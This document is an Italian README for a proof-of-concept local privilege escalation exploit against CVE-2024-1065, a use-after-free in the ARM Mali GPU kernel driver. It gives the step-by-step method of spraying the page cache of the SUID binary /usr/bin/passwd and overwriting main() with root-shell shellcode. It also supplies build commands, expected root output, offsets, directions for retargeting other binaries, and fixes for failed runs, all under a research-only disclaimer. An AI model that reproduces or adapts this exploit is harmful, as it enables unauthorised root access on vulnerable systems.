
Exploit della Page Cache per CVE-2024-1065
Exploit proof-of-concept per CVE-2024-1065, un use-after-free di una pagina fisica nel driver del kernel GPU ARM Mali. L'exploit dimostra lo sfruttamento della page cache: sfruttando una race condition, una pagina MIGRATE_MOVABLE liberata viene fatta finire nell'immagine del codice in memoria di un binario SUID, per poi sovrascriverla e ottenere l'esecuzione arbitraria di codice come root senza modificare alcun file su disco.
Solo a scopo di ricerca. Questo PoC prende di mira una vulnerabilità corretta su un sistema di test x86 controllato. Il percorso di codice vulnerabile non può essere attivato dallo spazio utente sui dispositivi Pixel di produzione.
Innesco della UAF — Una pagina anonima viene importata nel driver GPU Mali tramite KBASE_IOCTL_MEM_IMPORT e mappata due volte nello spazio utente. La liberazione di entrambe le mappature restituisce la pagina fisica alla freelist dei buddy MIGRATE_MOVABLE mentre cpu_mapping2 vi mantiene ancora un alias.
Spray della page cache — L'exploit apre /usr/bin/passwd 100 volte e rimuove ripetutamente la pagina a PAGE_OFFSET con posix_fadvise(POSIX_FADV_DONTNEED), quindi provoca un cache miss con pread. Ogni miss costringe il kernel ad allocare una nuova pagina MIGRATE_MOVABLE, facendo scorrere la freelist finché non viene scelta la pagina UAF.
Conferma della sovrapposizione — Una lettura di un byte di prova attraverso cpu_mapping2 a MAIN_OFFSET conferma che la pagina UAF ora supporta la voce di page cache del binario. I valori 0x00 e 0x61 indicano un fallimento; qualsiasi altro valore è codice binario reale.
Iniezione dello shellcode — memcpy attraverso cpu_mapping2 sovrascrive main() con uno shellcode che chiama setuid(0), setgid(0) ed execve("/bin/sh").
Esecuzione — Viene chiamato execve("/usr/bin/passwd"). Il caricatore ELF mappa come eseguibili le pagine di page cache del binario. La pagina corrotta è già presente — non avviene alcuna lettura da disco — quindi lo shellcode viene eseguito come root.
gcc -O2 -o exploit exploit.c
./exploit
Output atteso:
[*] Opened /usr/bin/passwd x100
[*] MEM_IMPORT: flags=0x... gpu_va=0x... va_pages=0x1
[*] gpu_mapping (VA 1): 0x...
[*] cpu_mapping2 (VA 2): 0x...
[*] UAF triggered — stale mapping alive at 0x...
[*] Spraying page cache (100 attempts)...
[+] Overlap confirmed on attempt N (byte=0xf3) — cpu_mapping2 aliases the page cache!
[*] Shellcode written. Triggering execve...
# id
uid=0(root) gid=0(root) groups=0(root)
Tutti i valori specifici del bersaglio sono definiti all'inizio di exploit.c:
#define TARGET_BINARY "/usr/bin/passwd"
#define PAGE_OFFSET 0x4000 /* file offset of the page containing main() */
#define MAIN_OFFSET 0xbc0 /* intra-page offset of main() */
Per riorientare il PoC su un binario diverso, individua l'offset della funzione disassemblando _start all'indirizzo del punto di ingresso (readelf -h), quindi calcola:
PAGE_OFFSET = sym_va & ~0xfff
MAIN_OFFSET = sym_va & 0xfff
Verifica prima di eseguire:
dd if=<TARGET_BINARY> bs=1 skip=$((PAGE_OFFSET + MAIN_OFFSET)) count=8 2>/dev/null | xxd
| Requisito | Valore |
|---|
| Architettura | x86-64 |
| Kernel | 5.15 (testato su 5.15.0+) |
| Configurazione kernel | CONFIG_MALI_NO_MALI=y, CONFIG_MALI_CSF_SUPPORT=y, r48 |
| Dispositivo | /dev/mali0 accessibile dallo spazio utente |
| Binario bersaglio | /usr/bin/passwd (SUID root) |
| Sintomo | Causa | Soluzione |
|---|
| Lo spray fallisce dopo 100 tentativi | La pagina UAF viene consumata prima della finestra di race | Espelli preventivamente la pagina bersaglio prima di innescare la UAF; aumenta NUM_FDS |
kernel BUG at mm/page_poison.c | Il controllo di prova è passato su un byte 0xaa di page-poison | Aggiungi probe != 0xaa al controllo di conferma |
SYSCHK fallisce su MEM_IMPORT | Driver Mali non caricato o versione errata | Controlla CONFIG_MALI_NO_MALI e l'handshake della versione del driver |